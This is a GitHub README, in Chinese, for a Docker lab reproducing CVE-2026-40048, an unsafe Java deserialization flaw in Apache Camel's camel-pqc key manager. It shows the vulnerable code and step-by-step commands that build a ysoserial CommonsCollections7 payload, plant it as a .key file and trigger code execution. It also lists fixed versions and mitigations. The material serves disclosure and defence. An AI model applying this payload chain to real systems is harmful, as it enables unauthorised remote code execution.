oscerd/CVE-2026-40048

GitHub: oscerd/CVE-2026-40048

Apache Camel camel-pqc 组件 FileBasedKeyLifecycleManager 不安全反序列化漏洞(CVE-2026-40048)的完整复现环境,演示从 payload 注入到远程代码执行的攻击链。

Stars: 0 | Forks: 0

# camel-pqc FileBasedKeyLifecycleManager 不安全反序列化复现器 (CVE-2026-40048) 本项目演示了 Apache Camel 的 `camel-pqc` 组件中的一个 **Java 反序列化漏洞**,编号为 **CVE-2026-40048**。`FileBasedKeyLifecycleManager` 使用原生的 `ObjectInputStream` 读取配置的 密钥目录中的 `.key` 文件,并且没有使用 `ObjectInputFilter`,因此能够写入该目录的 攻击者可以实现**远程代码执行**。 安全公告: ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-pqc` | | **受影响类** | `org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager` (`getKey`) | | **CWE** | CWE-502: Deserialization of Untrusted Data | | **影响** | Remote Code Execution (RCE) | | **受影响版本** | 从 4.18.0 到 4.18.2 之前,以及从 4.19.0 到 4.20.0 之前 | | **修复版本** | 4.18.2, 4.20.0 | | **JIRA** | CAMEL-23200 | | **报告者** | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) | ## 技术细节 `FileBasedKeyLifecycleManager` 将后量子密钥以序列化 Java 对象的形式持久化存储在 `/.key` 中。加载密钥时会使用原生的 `ObjectInputStream` 反序列化该文件, 而向 `KeyPair` 的强制类型转换仅发生在 `readObject()` 返回**之后**: ``` // FileBasedKeyLifecycleManager.getKey(keyId) - affected version Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key") try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) { KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast ... } ``` 可以通过路径遍历、配置错误的卷权限、被入侵的密钥配给流水线或符号链接攻击等方式 获取密钥目录写入权限的攻击者,可以植入一个精心构造的序列化对象,该对象会在正常的 密钥生命周期加载期间执行。 ## 前置条件 - Java 17+ 和 Maven 3.8+(用于构建 jar) - Docker(用于运行复现器) - ysoserial(用于生成 payload) ## 复现步骤 ### 步骤 1:构建 jar 并启动容器 ``` mvn clean package -DskipTests docker compose up -d --build ``` ### 步骤 2:生成恶意 payload ``` wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar # 良性证明:创建 /tmp/pwned。在 JDK 21 上添加 --add-opens 以生成 CC gadgets: java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64 ``` ### 步骤 3:将 payload 植入为 `.key` ``` curl -X POST http://localhost:8080/exploit/inject \ -H "Content-Type: text/plain" --data-binary @payload.b64 # 将字节写入到容器内部的 /tmp/pqc-keys/mykey.key ``` ### 步骤 4:触发密钥生命周期加载(RCE) ``` curl http://localhost:8080/exploit/trigger # getKey("mykey") -> ObjectInputStream.readObject() -> gadget 执行 # -> ">>> RCE 证明 — /tmp/pwned 存在:true" ``` ### 步骤 5:验证 ``` docker exec cve-2026-40048 ls -la /tmp/pwned ``` ### 清理 ``` docker compose down ``` ## 攻击向量 `getKey()` 会在正常的密钥生命周期操作(签名/验证密钥检索、轮换检查等)期间被调用, 因此只要加载了攻击者植入的 `.key`,就会触发反序列化。 ## 利用条件 1. **对 `FileBasedKeyLifecycleManager` 使用的密钥目录具有写入权限**(共享/配置错误的卷、 路径遍历、被入侵的配给流程、符号链接)。 2. **classpath 中存在 gadget 库**(例如 `commons-collections:3.2.1`)。 ## 相关的后续 CVE 密钥存储中使用 `ObjectInputStream` 的模式随后得到了更广泛的处理: - **CVE-2026-46590** — HashiCorp Vault + AWS Secrets Manager 同类管理器(修复不完全的后续漏洞)。 - **CVE-2026-43867** — 针对相同 AWS Secrets Manager 路径的独立报告。 ## 建议修复 升级到 4.18.2 / 4.20.0。该修复将基于 `ObjectInputStream` 的存储方式替换为标准的 PKCS#8 (私钥)/ X.509 SubjectPublicKeyInfo(公钥)Base64 JSON 编码。 ## 缓解措施 在升级之前: 1. **限制写入权限**,仅允许应用程序自身身份对密钥目录进行写入。 2. **移除 gadget 库**(升级/移除 commons-collections 3.x)。 3. 将密钥材料保存在可信度较低的主体无法写入的卷上。 ## 文件 ``` CVE-2026-40048/ ├── pom.xml ├── Dockerfile ├── docker-compose.yml ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup └── resources/ └── application.properties ``` ## 免责声明 本复现器仅用于**安全研究和授权测试**,针对的是**已公开披露且已修复**的漏洞。未经明确许可, 请勿将其用于针对任何系统。
标签:Apache Camel, Java反序列化, JS文件枚举, RCE验证, 后量子密码学, 域名枚举, 漏洞复现, 请求拦截